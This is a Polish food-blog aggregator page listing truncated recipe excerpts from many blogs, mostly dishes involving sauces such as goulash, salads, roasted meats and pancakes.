kompozycji sałat świeżych garść prażonych pestek ze słonecznika  ser kozi twardy (w plastrach lub w kawałku) oliwa z oliwek oliwa z przyprawami (z suszonych pomidorów mojej Mamy) - opcjonalnie sos vinegrette.  Przygotowanie: Na ulubiony mix sałat wykładamy: pokrojonego w paski pomidora suszonego, porwane w kawałki pomelo, kurczaka zgrillowanego na patelni, ser kozi (u mnie w plastrach) . Zalewamy

Kuchnia po mojemu
Polędwiczki wieprzowe w sosie z suszonych pomidorów 189

złotawego koloru dodajemy suszone i świeże pomidory, część natki pietruszki, zalewamy wodą oraz śmietanką. 2. Na małym ogniu pod przykryciem dusimy mięso przez ok 15-20 minut, tak aby sos odparował i zgęstniał. Po koniec posypujemy świeżą natką pietruszki. Mięso przed podaniem i krojeniem należy zostawić na kilka minut aby odpoczęło. W moim przypadku podawane z kaszą jęczmienną

Apetyczna babeczka
Polędwiczka z dzika duszona w winie i grzybach 202

wszystko się zarumieni dodajemy pozostałą zalewę i grzyby. Wszystko smażymy pod przykryciem na małym ogniu ok 20 minut, następnie zdejmujemy przykrywkę i jeszcze podsmażamy, aż sos lekko odparuje i ładnie się zredukuje. Smacznego

Niezły Młynek
Cytrusowo- rozmarynowa pierś z kurczaka 202

soku z cytryny i przyprawach. Odstawiamy na 1-2 godziny. Na patelni karmelizujemy cukier. Dodajemy miód i obrane, również z białych błonek pomarańcze. Doprawiamy solą i pieprzem. Smażymy, aż sos się zredukuje. Pierś z kurczaka smażymy na patelni grillowej z dodatkiem niewielkiej ilości oleju. Można też ją usmażyć "w papirusie", na zwykłej patelni. Do smażenia potrzebny nam będzie papier

Czerwona Porzeczka
Jogurtowy koktajl cytrusowy 213

Limonka jest popularnym składnikiem soków i napojów orzeźwiających. Świetnie smakuje również z potrawami rybnymi oraz różnymi rodzaju pastami i sosami. Pomarańcz ma dużo beta-karotenu i witaminy C która jest cenionym antyoksydantem, witamin z grupy B korzystnie działających dla skóry i nerwów oraz sporą ilość cennego potasu. Grejpfrut wzmacnia odporność, obniża cholesterol i reguluje ciśnienie krwi, ma niewiele kalorii

Fit & Healthy Life
Grillowany filet z jarmużem 292

100g jarmużu 500g pomidorów 500ml buliony drobiowego zalać wszystko sól pieprz czarny świeżo mielony MARYNATA: 4 łyżki oliwy z oliwek 2 łyżki octu jabłkowego 1 łyżeczka miodu parę kropel sosu worcester 1/2 łyżeczki papryki słodkiej 1/2 łyżeczki papryki słodkiej wędzonej Wszystkie składniki marynaty włożyć do miski i rozetrzeć. Każdego fileta pociąć w plastry o grubości ok 1cm i przełożyć

https:KKuchniaMniam
Czosnkowe kuleczki ziemniaczane 398

lubi. I co najważniejsze, kuleczki cieszą nie tylko nasze podniebienie, ale przede wszystkich nasze oko. Pięknie prezentują się na talerzu. Można podać kuleczki jako danie główne z sosem czosnkowym , paprykowym , keczupem bądź innym, lub podane jako dodatek do dania głównego, tak jak ja uczyniłam to dzisiaj. Składniki: 1,2-1,5 kg ugotowanych ziemniaków szklanka bułki tartej

na moim stole...
Sałatka Grecka 173

Składniki : Sałata lodowa mała kilka pomidorków kawałek ogórka wąż 1 cebulka czerwona 8 czarnych oliwek kawałek papryki  czerwonej , żółtej 100 g fety Sos :  6 łyżek Oleju lnianego Olejowy Raj   1 ząbek czosnku  1/2 łyżeczki octu winnego sól , pieprz do smaku 1/2 łyżeczki miodu   Wykonanie : Sałatę myjemy i suszymy.Pomidorki , ogórek , paprykę  myjemy . Pomidorki kroimy

Sama słodycz i szczypta chili
Gulasz z indyka 195

miękkie, dodać paprykę i kukurydzę, pieprz i sól do smaku. Gotować bez przykrycia jeszcze około 5 minut, aż papryka będzie odpowiednio miękka, ale nie rozpadająca się. Jeśli lubimy gęste sosy, to gulasz można zagęścić dodając łyżeczkę mąki ziemniaczanej rozmieszanej w niewielkiej ilości zimnej wody lub śmietany. Ja staram się redukować płyn poprzez odparowanie w czasie gotowania, bez dodatkowego zagęszczania. Gulasz

Kuchcik gotuje
Pulpeciki w sosie pomidorowym 141

przekąskę była rolada z łososiem i szpinakiem a na obiad robię dziś pulpeciki w sosie pomidorowym. Pyszne i bardzo szybkie w przygotowaniu danie. Pasuje idealnie do ziemniaków, ryżu czy kaszy. I co najważniejsze, jest to danie uwielbiane przez dzieci. Zresztą spróbujcie sami. Zapraszam!!!     Składniki: 0,5 kg mięsa mielonego   ( drobiowego lub wieprzowego, albo mieszanego), 3 marchewki

Passion of Cooking
Proste pszenne tortille 336

drożdży. Domowy fast food. Z jakim farszem ? To zależy, co masz w lodówce. My jadamy najczęściej z kapustą - pekińską lub czerwoną, kukurydzą, mięskiem i ogórkami kiszonymi. Do tego sos czosnkowy lub ketchup. Przygotowanie samego ciasta łącznie z jego uformowaniem i smażeniem zajmuje do 40 minut. Przygotowanie farszu zależy od ilości składników. Ciasto z poniższego przepisu jest fantastyczne, elastyczne i łatwe

apetytnapieczenie
Kluski śląskie 321

palcem lub zaokrąglonym trzonkiem od drewnianej łyżki. Gotowe kluski gotować w osolonym wrzątku ok 3 minuty od wypłynięcia. Kluseczki są idealne jako dodatek do różnych gulaszy, duszonych mięs w sosie

Monia miesza i gotuje
SPAGHETTI AGLIO E OLIO – spaghetti z oliwą i czosnkiem 237

może się nic przypalić , gdyż czosnek zrobi się gorzki. W osobny garnku z osoloną wodą i resztą oliwy gotujemy makaron. Odcedzamy i ponownie wkładamy do garnka, p olewamy sosem z oliwy i czosnku, mieszamy, doprawiamy świeżo zmielonym pieprzem. Podajemy natychmiast! Smacznego! Ps. świetnym dodatkiem jest świeża natka pietruszki

Ostra na Słodko
Roladki z mintaja z szpiankowo-ryżowym nadzieniem 190

Bardzo zdrowe rybne roladki z szpinakowo-ryżowym nadzieniem z mini marchewkami. Całości smaku dodaje śmietanowy sos. 6 płatów mintaja Przyprawa do ryb 200 g mrożonego szpinaku 2 ząbki czosnku 1 łyżka masła 0,5 łyżeczki czosnku granulowanego 100 g ryżu 100 g mini marchewek 0,5 szklanki bulionu 2 łyżeczki mąki pszennej 2 łyżki śmietany 18% 0,5 łyżeczki świeżego

VioletoweKucharzenie
Drobiowy gulasz z dynią i kurkami 178

Kupiłam świeże ćwiartki z kurczaka i tak sobie myślałam czy po prostu je upiec czy zrobić coś innego. Mój mąż uwielbia makaron, postanowiłam więc ugotować jakiś sos. No i wytrybowałam te ćwiartki, mięso pokroiłam w kostkę a kości zamroziłam ( będą na zupę ). Podsmażyłam, dodałam cebulę, kurki i dynię, doprawiłam i wyszedł mi super smaczny gulasz. Do makaronu jak znalazł. Polecam

Ewa w kuchni
Gołąbki we włoskiej kapuście (z piekarnika) 209

kapustą. Dlatego też postanowiłam przygotować gołąbki pieczone w piekarniku. Mięso zawinęłam w liście włoskiej kapusty, dzięki którym gołąbki były miękkie i delikatne w smaku. Najlepiej smakowały polane domowym sosem pomidorowym. Jestem pewna, że polubicie tą metodę przygotowania gołąbków, ponieważ zaoszczędzicie czas, a ponadto wszystkie gołąbki zachowają swój kształt.  Składniki: 1 kapusta włoska 0,5 kg mięsa mielonego wieprzowego

Ugotować
Śledzie Kresowe na Wigilię w koncentracie pomidorowym- do słoików 143

oleju. Dodać koncentrat pomidorowy, przyprawy, żurawinę i sok z cytryny do smaku. Następnie bardzo powoli podgrzewać na małym ogniu przez 15 minut doprowadzając do zagotowania. Po ostudzeniu włożyć do sosu filety śledziowe, wymieszać, włożyć do słoiczków, szczelnie zamknąć i wstawić w chłodne miejsce

Tradycyjna Kuchnia
WAFFLES & BACON – BATMAN: ARKHAM KNIGHT – gofry na piwie z karmelizowanym bekonem 316

jest to tytuł ciekawy, a dodatkowo już na samym wstępie serwuje nam świetną zajawkę kulinarną. Policjant z Gotham, który stołuje się w Pauli’s Diner, zamawia sałatkę bez sosu, po chwili jednak wraca po rozum do głowy i prosi kelnerkę o gofry z bekonem. Takich rarytasów zdecydowanie nie mogliśmy odmówić ani sobie, ani Wam! Wspomniane gofry podaliśmy w dość nietypowy

Nerds Kitchen
Zapiekanka z bagietki i kurczaka 262

kostkę. Do naczynia żaroodpornego wsypujemy porwaną na kawałki bagietkę. Na nią wykładamy kurczaka z porem i pomidora. Jajka miksujemy z mlekiem, doprawiamy do smaku, dodajemy starty ser żółty. Sos wylewamy na zapiekankę. Wkładamy do nagrzanego do 180C piekarnika i pieczemy około 25 minut. Po wyjęciu z piekarnika posypujemy szczypiorkiem

e-PrzepisyKulinarne
sałatka z mandarynkami 206

Jeśli lubicie owoce w wytrawnych sałatkach, ta propozycja powinna przypaść Wam do gustu. Słodki smak mandarynek dobrze się łączy z ostrym sosem chrzanowo-czosnkowym. Zrobiłam taką sałatkę na przyjęcie i zniknęła w mgnieniu oka. Znaczy więc, że była pyszna.  Składniki: 1/2 główki kapusty pekińskiej puszka mandarynek w syropie szklanka tortellini z szynką 300 g szynki konserwowej w kawałku

Domowa Cukierenka-Domowa Kuchnia
Gołąbki z farszem z kaszy jaglanej i mięsa wieprzowego 193

ciasno). Dno garnka wyłóż "zepsutymi" liśćmi. Układaj gołąbki jeden obok drugiego. Zalej wrzątkiem i gotuj. Z innych pozostałych liści zrób przykrywkę. Gotowałam tak 40 minut na średnim ogniu.  SOS DO GOŁĄBKÓW: 2 puszki pomidorów 1/3 szklanki kaparów natka pietruszki 1 szalotka 2 ząbki czosnku sól i pieprz do smaku 1 papryka czerwona PRZYGOTOWANIE: Do naczynia miksującego Thermomixa włóż wszystkie

ClauditteMissCooking
Krewetki lubią czosnek:D 160

podgrzewane stają się gumowate i niesmaczne. Aby wzbogacić ten przepis, można podczas smażenia wlać na patelnię 2 lampki białego wina, część alkoholu wyparuje, a z reszty utworzy się znakomity sos. Życzę kuchennych sukcesów! Smacznego

Kuchnia Pani Wiosny
Pizzerinki z cukini! 152

menu każdej pizzerii. Gotowe mini pizze z cukinii wkładamy do nagrzanego do 180 stopni Celsjusza piekarnika i pieczemy ok. 1 godziny. Podajemy na ciepło. Można również zaserwować z sosami;) (p.s. najlepszy czosnkowy

Kuchnia Pani Wiosny
Sałatka z kapusty pekińskiej. 2727

uprażeniu ziarna pozostawiamy do ostygnięcia i schłodzone dodajemy do pokrojonej kapusty. Następnie dodajemy kukurydzę. W małej miseczce mieszamy śmietanę, majonez, świeżo wyciśnięty sok z cytryny, sól i pieprz. Przygotowany sos przelewamy do miski z resztą składników i dokładnie mieszamy. Smacznego

Kuchnia Pani Wiosny
Zapiekanka makaronowa z szpinakiem, pomidorami i mozzarellą w wersji fit 153

Dzisiaj przepis na włoską zapiekankę, z makaronem, pomidorami, szpinakiem i mozzarellą, zrobioną z pysznego pełnoziarnistego makaronu i szpinaku w sosie jogurtowym, dzięki czemu zapiekanka jest przepyszna, ale również znacznie zdrowsza od tradycyjnej wersji, na pszennym makaronie, ze śmietaną i bardzo dużą ilością sera. To co skusicie się ?  Składniki :  1 opakowanie mrożonego szpianku  3/4 paczki makaronu razowego

zdrowa vege kuchnia
Pikantne risotto z dynią i rodzynkami 223

Jednym z pierwszych wpisów na blogu było risotto. Takie proste, z sosem pomidorowym i warzywami. Ktoś mi wtedy zarzucił, że to nie jest risotto. Miał rację ten ktoś, ale pod taką własnie nazwą poznałam to danie będąc nastolatką. Tamto risotto, nazywane przeze mnie kryzysowym z racji czasów, jakie wtedy były, to raczej zapiekany ryż z warzywami. Ktoś może złośliwie powiedzieć

Codzienna kuchnia niecodzienna
SAŁATKA ŚMIECIUGA Z TUŃCZYKIEM 183

ugotowanego ryżu  4 jajka ugotowane na twardo  5 konserwowych lub kiszonych ogórków  2 duże garście rukoli 2 łyżki majonezu  puszka tuńczyka w sosie własnym  puszka kukurydzy  sól, pieprz  Sposób przyrządzenia:  Ogórki, jajka pokroić w kostkę a rukolę poszatkować. Wymieszać z ugotowanym i przestudzonym ryżem.Dodać kukurydzę.Doprawić do smaku i zajadać

pieprzny smaczek
Domowe mleka roślinne – ryżowe i migdałowe 132

przygotowane wszystkie składniki dzieli Was nie całe 10 minut żeby rozkoszować się tymi zdrowymi napojami. Możecie je wykorzystać tradycyjnie – jako mleko do kawy czy kakao, do różnych wypieków, sosów a z mleka migdałowego przygotujecie też budyń czy galaretkę. Do przygotowania mleka migdałowego potrzebujecie (ok 600 – 800 ml): – 1 szklankę migdałów (ja wykorzystuję płatki migdałów, a jeżeli macie

Szybko Tanio Smacznie
naleśniki z leśnymi grzybami 195

smarujemy farszem. Dowolnie zwijamy i podsmażamy na maśle. Naleśniki możemy również panierować w jajku i bułce tartej i smażymy z każdej strony na złoty kolor. Gotowe możemy podać np. sosem czosnkowym

Domowy Smak Jedzenia
DROŻDŻOWE RACUCHY Z PŁATKAMI AMARANTUSA 203

Dziś kolejna wariacja na temat racuchów drożdżowych. Był już podstawowy przepis na  RACUCHY Z JABŁKAMI , były  RACUCHY Z OWOCAMI I SOSEM CZEKOLADOWYM  i ostatnio  RACUCHY KUKURYDZIANE . Dziś do ciasta dodałam 2 duże kopiaste łyżki   płatków z nasion amarantusa  i odrobinę więcej mleka (sojowego, bo akurat takie miałam otwarte) - tyle, żeby ciasto miało konsystencję gęstej

Wegański blog WSZYSTKO JEST W GŁOWIE
Kilka pomysłów na... 190

burakiem smażonym w miodzie z tymiankiem  pieczone kotlety z tofu, fasoli i dyni z masłem orzechowym   pieczone kotlety fasola-dynia z suszonymi pomidorami i słonecznikiem, sos (chyba czosnkowy)  jaglane kluski marchewkowe z serem feta

More food, love and dreams
Gęś faszerowana ziemniakami 226

trakcie pieczenia gęś podlewać co jakiś czas albo wytopionym tłuszczem albo wodą. Podawać z kapustą kiszoną i żurawiną i z tym co zostało na dnie gęsiarki czyli tłuszczem z sosem i jabłkami. Smacznego! Uwagi: Upieczone kości i wszelkie skrawki zostawić, ugotujemy na nich rosół

Stare Gary
Placki marchewkowe 200

jesienne placuszki z marchewki. Pyszne, słodkie słodyczą marchewki, miła odmiana dla panujących placków ziemniaczanych. Pyszne same w sobie. Rumiane, chrupiące, z delikatnie przysmażonym brzegiem. Świetne z kwaśną śmietaną lub sosem pieczarkowym. Zresztą możliwości jest bez liku. Składniki: 500-600 g marchwi 1 cebula kilka kropli soku z cytryny 3 jajka 3-4 łyżki bułki tartej 1 łyżka mączki kukurydzianej sól

Gotuj zdrowo!Guten Appetit!
Pesto z jarmużu z makaronem 306

oraz dużą szczyptą soli. Aby pesto miało luźniejszą konsystencję, dodajemy trochę wody z gotowania makaronu i ponownie blendujemy. Makaron odlewamy i do gorącego dodajemy pesto. Mieszamy, aż oblepi się sosem. Nakładamy na talerze – posypujemy fetą, odłożonymi płatkami migdałów oraz świeżo mielonym pieprzem. Post Pesto z jarmużu z makaronem pochodzi z bloga Poezja smaku

Poezja smaku
PIERÓG BIŁGORAJSKI 230

stopni C, do momentu, aż na wierzchu utworzy się skorupka. Pieroga można podawać na ciepło, prosto z pieca lub odsmażonego na maśle, albo na zimno. Najlepiej smakuje z sosem grzybowym, śmietaną lub w towarzystwie szklanki mleka, kefiru lub maślanki. Młodzież ostatnio polewa go keczupem. Niektórzy pałaszują go zamiast chleba. Informacji na temat tego jak powinien wyglądać prawdziwy Pieróg Biłgorajski

Ciastka - domowe słodkości
Sałatka z wędzonym dorszem 219

Przygotować dressing - oliwę połączyć z pieprzem cytrynowym, musztardą i sokiem z cytryny. Można dodać do smaku wyciśnięty przez praskę ząbek czosnku. Ziemniaki posypujemy piórkami cebuli i wędzonym dorszem. Polewamy sosem i posypujemy natką pietruszki. Wstawiamy do lodówki

Atlas Smaków
Serduszko z parówki i jajka 198

www.facebook.com/Di.gotuje http://digotuje.blogspot.com     1 parówka 1 jajko sól, pieprz Dodatkowo (opcjonalnie): 2 plastry wędzonego boczku ser żółty szczypiorek Romualda duńska (sos z firmy Folwark ) Parówkę przeciąć na pół zostawiając około 1-1,5 cm. Wygiąć, aby przypominała kształt serca a końce spiąć wykałaczkami. Na patelni podsmażyć boczek i na wytopiony tłuszcz położyć kiełbaskę. W środek wbić jajko

Di gotuje
Sałatka ryżowa z tuńczykiem 269

mnie połączenie tuńczyka i ryżu i bardzo mi ta sałatka smakuje. Polecam serdecznie! Składniki: 200 g ryżu (2 woreczki) 1 czerwona papryka 2 puszki tuńczyka w kawałkach (w sosie własnym lub oleju) 4 jaja ugotowane na twardo 1 puszka kukurydzy 3-4 ogórki kiszone lub korniszony majonez sól, pieprz Sposób wykonania: 1. Ryż ugotować w osolonym wrzątku. Przestudzić. 2. Jajka

Kuchnia domowa Ani
Co siedzi w dyni, czyli właściwości lecznicze i kosmetyczne, dlaczego i jak warto ją jeść? 214

niekończące się pomysły: krem-zupa, placki smażone, ugotowana i pokrojona w sałatkach, przetwory-dżemy i musy, frużeliny, placki-ciasta,  dyniowe serniki, babeczki dyniowe, makaron dyniowy, curry z dyni, sosy, risotto, pasztet, a nawet smoothie, to na pewno nie koniec możliwości, a raczej tylko to co przyszło mi do głowy, co sama robiłam i jadłam oraz to co widziałam

Pause Gotowanie!
Placuszki dyniowe na mące ryżowej 215

placuszki po 3 minuty z każdej strony.  5) Podaję z twarożkiem.  Placuszki można też podać z jajkiem w koszulce, jajem sadzonym, jak i również ze swoim ulubionym sosem. Smacznego! Pozdrawiam, Adrianna

Pause Gotowanie!
30 przepisów na listopad 191

zdecydowanie w tym roku królują te drugie, w sałatkach przede wszystkim; żurawina świeża i suszona , świeżą możecie użyć jako dodatek do serów pleśniowych i przygotować pyszny wytrawny w smaku sos, suszoną zaś dodajcie do ulubionej sałatki, np. takiej owocowej, którą zamieściłam w zestawieniu.  Ostatnio znacznie częściej sięgam po orzechy , zwłaszcza włoskie, oprószam nimi sałtki, dodaję do śniadań i deserów

Moja smaczna kuchnia
Wegańskie dyniowe pączki z nadzieniem daktylowym 220

około 1 minut po każdej ze stron (pilnować!). Usmażone odkładać na ręczniki papierowe aby odsączyć olej. Ma znalazłam w czeluściach swoje lodówce jakąś resztę karmelu, więc dodatkowo polałam pączki sosem i posypałam płatkami migdałowymi. Smacznego

greenscarf
Domowe warzywko z lubczykiem – przyprawa bez chemii 205

Teraz jak to zwykle bywa ruszyła taśmowa produkcja i poleciały następne . Ta jest mieszanką warzyw korzeniowych cebulki i lubczyku. Smakuje lepiej niż kupne Warzywko . Doskonale nadaje się do rosołu , sosów lub duszonych mięs . Tak przygotowane przyprawy nie zawierają szkodliwych substancji , sztucznych barwników , chemii i innych paskudztw . Spokojnie możemy doprawiać nimi posiłki naszej rodzinki nie martwiąc się o zdrowotne konsekwencje . Przyprawa

Ogrodnik w podróży
Schab pieczony z grzybami. Schab faszerowany. 296

naczynia, usuwamy wykałaczki i zawijamy ciasno folią aluminiową, odstawiamy aż przestygnie i wstawiamy do lodówki. Tak upieczony schab wieprzowy wykorzystujemy do obiadu krojąc go w dość grube plastry. Sos z pieczenia dopełnia smaku mięsa i zostanie wykorzystany jako dodatek do ziemniaków i surówki. Smacznego! The post Schab pieczony z grzybami. Schab faszerowany. appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Kotlety ryżowe ze szpinakiem + film 189

Kotleciki ryżowe ze szpinakiem są ciekawą alternatywą dla tradycyjnych kotletów mielonych . To proste w przygotowaniu danie może stanowić smaczny obiad lub ciepłą kolację, idealnie smakują podane z ulubionym sosem i surówką. składniki na 20 sztuk 1,5 szklanki ryżu 4 ugotowane na twardo jajka 1 surowe jajko 450 g mrożonego szpinaku rozdrobnionego 2 łyżki masła 2 ząbki czosnku pęczek natki

Smakowite Dania
Zapiekanka z ziemniakami i warzywami 260

długo gotowane rozpadną się-delikatnie solimy. Mięso dusimy z cebulą, następnie dokładamy warzywa i dusimy jeszcze ok 15 minut. W patelni/naczyniu żaroodpornym układamy ziemniaki, warzywa i znów ziemniaki, polewamy sosem mlecznym i układamy ser. zapiekamy ok 30 minut. Zapiekanka genialnie smakuje z samymi warzywami więc mięso w tym przepisie jest zbędne ale ja dodałam bo miałam - kwestia gustu. Smacznego

sierotka maRysia w kuchni
Domowe Bounty zwane bobkami 195

brak piekarnika nie może nas ograniczać w tworzeniu jedzenia! Pomysłowość jest najważniejsza! W dzisiejszym odcinku serialu ,,sierotka maRysia w kuchni", zostały stworzone bounty inaczej nazwane bobkami i kurczak w sosie śmietanowym! Polecam blog Kuchareczka, są tam naprawdę genialne przepisy na Bounty-podobne pyszności! http://kuchareczka.blox.pl/html/1310721,262146,21.html?438652 BOUNTY ZWANE BOBKAMI łatwe (jak wszystko u mnie) min 2 godziny gdy liczymy czas

sierotka maRysia w kuchni
Maminkowe racuchy 225

głębokim tłuszczu. Na ciasto bez wiśni kładziemy plasterek jabłka posypany cynamonem. Po usmażeniu posypujemy cukrem pudrem z cynamonem - choć jeśli o to chodzi jest duża dowolność. niektórzy jedzą z sosami owocowymi inni z bita śmietaną. A ja lubię ze zwykłym cukrem (nie pudrem)! Smacznego

sierotka maRysia w kuchni
Shish kebab 298

kebab/gyros * łyżeczka musztardy ostrej Do dzieła! Mięso mieszamy z przyprawami, musztardą i drobniutko posiekaną cebulą. Formujemy z niego wałeczki długości ok 8 cm i smażymy na rozgrzanym tłuszczu. Polewamy sosem czosnkowym. Podajemy z sałatką z sałaty, pomidora i ogórka. Dodatkowo podałam jeszcze z frytkami ale ryż curry genialnie by do tego pasował. Smacznego

sierotka maRysia w kuchni
Cukinia w zalewie musztardowej 162

ramach cukiniowego sierpnia pojawił się bardzo ciekawy przepis na cukinię w sosie musztardowym - od razu przypadł mi do gustu z dwóch powodów - uwielbiam cukinię i musztardę :-). Połączenie tych smaków na początku nie wydawało mi się interesujące jednak po za-pasteryzowaniu powstał naprawdę świetny dodatek do zimowych obiadów. Cukinia w zalewie musztardowej łatwe ok 20 słoiczków ok 40 minut + studzenie zalewy

sierotka maRysia w kuchni
Parykarz szczeciński 225

Pieczarki drobniutko pokroić i dusić z resztą warzyw aż wszystko będzie miękkie. Dodać koncentrat, paprykę słodką, sól - w razie potrzeby - jakby było za gęste - rozcieńczyć wodą aby powstał gładki sos. Przestudzić. Na koniec do warzyw dodajemy ryż i rybę, Dobrze studzimy i przekładamy do zamkniętego pojemnika aby składniki się przegryzły. Można jeść już po godzinie ale najlepiej smakuje na drugi

sierotka maRysia w kuchni
Cyc kurczakowy – shoarma :-D 231

odparowała. Dodajemy łyżkę śmietany/jogurtu. Przyprawiamy solą i pieprzem na ostro. Kurczaka smażymy na patelni rozgrzanej bez oleju do miękkości. Makaron gotujemy. Na talerzu nakładamy najpierw makaron na to sos szpinakowy posypujemy to kurczakiem - gotowe! Smacznego

sierotka maRysia w kuchni
Słońce na talerzu 258

gotujemy przez około 1 minutę. Dodajemy śmietanę ze szczyptą soli i delikatnie podgrzewamy nie dopuszczając do zagotowania (zważy się - w sumie aby temu zapobiec można dodać śmietanę do sosów). Na koniec przyprawiamy pieprzem cayenne i solą. Smacznego

sierotka maRysia w kuchni
Risotto cytrynowe 267

mnie zadziałały. Jednak postanowiłam wziąć się w garść i zrobić choćby obiad - coś prostego, nad czym nie będę musiała za dużo myśleć. Więc powstało risotto cytrynowe z paprykowym sosem z kurczaka. Kurczak będzie jutro dziś ryż. Tego rodzaju risotto traktuje jako dodatek do dania podstawowego choć samo również zachwyciło mnie smakiem. Naprawdę bardzo dobre. Risotto cytrynowe łatwe ok 30 minut

sierotka maRysia w kuchni
Schab w sosie arabskim 237

Przyznam, że smak tego dania jest dość intrygujący a, że przepis nie wymaga zbyt wielu składników i nie są to też składniki bardzo drogie zawsze można spróbować. SCHAB W SOSIE ARABSKIM dla 2 osób ok 30 minut Składniki 2-3 plastry schabu 3 cebule 3 - 4 figi suszone 1 łyżki octu winnego najlepiej czerwonego (dałam białego) 3 łyżki oliwy

sierotka maRysia w kuchni
Ziemniaczki po bengalsku 179

kroimy na ćwiartki (ja dodatkowo je obsmażyłam na chrupiąco). Na patelni rozpuszczamy masło, dodajemy przyprawy, mieszamy. Dodajemy ziemniaki i dokładnie mieszamy, chwilę razem smażąc. Ja podałam z kurczakiem w sosie śmietanowo-paprykowym i ogórkami pokrojonymi w talarki, chwilę podsmażonymi na oliwie i posypanych sezamem. Pycha!!! Jednak równie doskonale smakują jako samodzielne danie, lub przystawka. Smacznego

sierotka maRysia w kuchni
szpinakowa tortilla 165

smażymy do  miękkości. Tortillę smarujemy szpinakiem ( lubię duuużo szpinaku) układamy na niej kurczaczka i zawijamy. Podajemy z dowolną sałatką - u mnie kapusta pekińska z pomidorem i ogórkiem w sosie vinegrett. Tortillę można zastąpić zwykłym naleśnikiem - również jest pyszne   Smacznego

sierotka maRysia w kuchni
Pancakes z karmelizowaną pomarańczą 248

stopionego masła Do dzieła!!! Wszystkie składniki dokładnie miksujemy i smażymy po minucie z każdej strony na  niedużym ogniu w formie niedużych placuszków. Podajemy z ulubionym dżemem, powidłami lud sosem. Wspaniale też będą smakować polane gorącą polewą czekoladową. Ja podałam z karmelizowaną pomarańczą - smakowało idealnie - pancakes były delikatnie słodkie natomiast pomarańcza (smażyłam ją ze skórką) delikatnie cierpka - idealne połączenie. Polecam

sierotka maRysia w kuchni
Ryba w cebuli na parze z kulkami ryżowymi 217

parze (parowaru) posypujemy posiekaną cebulą, posypujemy przyprawami, skrapiamy spora ilością soku z cytryny i ,,parujemy" ok 20 minut. Do obiadu podałam sałatkę ze świeżych ogórków i pomidorów z sosem koperkowo-ziołowym. Smacznego

sierotka maRysia w kuchni
WRACAM!!!! szparagówka obsmażana 198

pieprzem. Każdą szparagówkę maczamy w jajku następnie w bułce i wrzucamy na rozgrzany głęboki olej. Smażymy do zrumienienia - od razu podajemy - w moim wydaniu podałam ze świeżym ogórkiem i sosem czosnkowym - Pycha!!! Smacznego

sierotka maRysia w kuchni
Wątróbka w sosie śmietanowo – musztardowym 200

dlatego też postanowiła wzmocnić swój organizm siłą wątróbki a wierzcie mi posiada ona wielką moc owe danie przypadło do gustu nawet tym którzy nie przepadają za wątróbką WĄTRÓBKA W SOSIE ŚMIETANOWO - MUSZTADOWYM łatwe 30 minut dla 4 osób Składniki 1/2 kg wątróbek kurzych dobrze oczyszczonych z błonek itp 1/2 szklanki mleka 3 cebule 1 szklanka śmietany 18% 2 łyżeczki musztardy

sierotka maRysia w kuchni
Faszerowana ,,kaczka dziwaczka” pieczona w garnku rzymskim 289

prawda, nawet nie wiedziałam, że naczynie które posiadam jest ,,naczyniem rzymskim" jednak już wtedy się nim zachwyciłam - kaczka wyszła soczysta, przeszła idealnie ziołami a do tego upiekła się w sosie własnym bez grama dodatkowego tłuszczu. Przyrządzenie kaczki w taki sposób wymaga sporo czasu i wprawy - samej ciężko by mi było ją dobrze zszyć i nafaszerować gdyż robiłam to pierwszy

sierotka maRysia w kuchni
Warzywny gulasz z dorszem 217

grubych oczkach i dusiłam ok 20 minut. W miseczce wymieszać bułkę tartą z siekanymi oliwkami, tymiankiem, 4 łyżkami oleju i wymieszać, tak, by powstała grudkowata kruszonka. Do gorącego sosu dodać dorsza i ziemniaki, delikatnie wymieszać, posypać kruszonką i wstawić do piekarnika nagrzanego do 180 st. na ok. 5 - 10 minut. Dodać śmietanę - pominęłam. Spokojnie można do gulaszu nie dodawać ziemniaków

sierotka maRysia w kuchni
Bułeczkowe miseczki 208

było moim marzeniem już od dawna... bez reszty pochłaniały mnie rozmyslania o wyjadaniu rozmoczonego miąższu z jadalnej miseczki, o odrywaniu po kawałku brzegu chlebka aby później zamoczyć go w sosie lub zupie i smacznie zjeść. I to wszystko prawie bez zmywania naczyń Kiedyś na weselu przyjaciółki jadłam cudowny gulasz który właśnie był nalany do chlebowych miseczek i od tamtej pory

sierotka maRysia w kuchni
Coś słodkiego – takie małe – byle co… 244

waniliową i wkładamy do zamrażarki - po ok 5 minutach możemy dodać masę czekoladową aby utworzyły się 2 warstwy. wkładamy do lodówki do momentu stężenia. Podajemy samo lub np z sosem czekoladowym czy owocowym. Smacznego

sierotka maRysia w kuchni
Tartaletki z kapustą z żurawiną i podgrzybkami 253

żurawiną i podgrzybkami Składniki:   pól kilograma kapusty kiszonej 10 dag żurawiny 1 cebule 10 dag mrożonych podgrzybków 1/2 jabłka 2 łyżki oliwy sól, pieprz pół łyżeczka kminku łyżka sosu sojowego pół łyżeczki cukry pół szklanki wina (można zamiast wina dać wodę) 1/4 szklanki wody 2 łyżki oliwy Do dzieła!!! Kapustę płuczemy 2 razy w ciepłej wodzie - kroimy na drobniejsze

sierotka maRysia w kuchni
Kurczak w sosie cebulowo – kokosowym z żurawiną 261

smaku i aromatu - wszystkie składniki idealnie się dopełniają tworząc niesamowitą kompozycję. Koniecznie wypróbujcie ten przepis jeśli lubicie kulinarne eksperymenty. Inspirowałam się przepisem z video bloga Kochaj Indie Kurczak w sosie cebulowo kokosowym z żurawiną Składniki: 4 udka kurczaka bez skóry 2 duże czerwone cebule łyżeczka posiekanego czosnku łyżka startego na tarce imbiru pół szklanki mleczka kokosowego 2 łyżki posiekanych pomidorów

sierotka maRysia w kuchni
Tarta ze szparagami i szynką szwarcwaldzką 229

się zarumieni. Blanszowane szparagi przycinamy do długości tarty i każdą sztukę owijamy w szynkę. Mieszamy śmietanę z żółtkiem, parmezanem i przyprawami. Przygotowane spody do tarty smarujemy cienką warstwą sosu śmietanowego i układamy na nim owinięte szynką szparagi. Całość posypujemy startym parmezanem. Zapiekamy ok 15 minut w 180 stopniach. Smacznego

sierotka maRysia w kuchni
Pierwsza Wigilia Lubelskich Blogerów Kulinarnych 258

przybyłych osób przyniosła coś pysznego dzięki czemu nasz wigilijny stół obfitował w tak pyszności jak kanapki z pastą z grochu z wędzonym pstrągiem, pierogi z makiem posypane genialnym sosem z orzechami i skórką pomarańczy w karmelu, śledzie w śmietanie lub z cebulką i chili, kremem piernikowym, struclą makową i roladą czekoladowo-pomarańczową i wieloma innymi pysznymi potrawami. Restauracja uraczyła

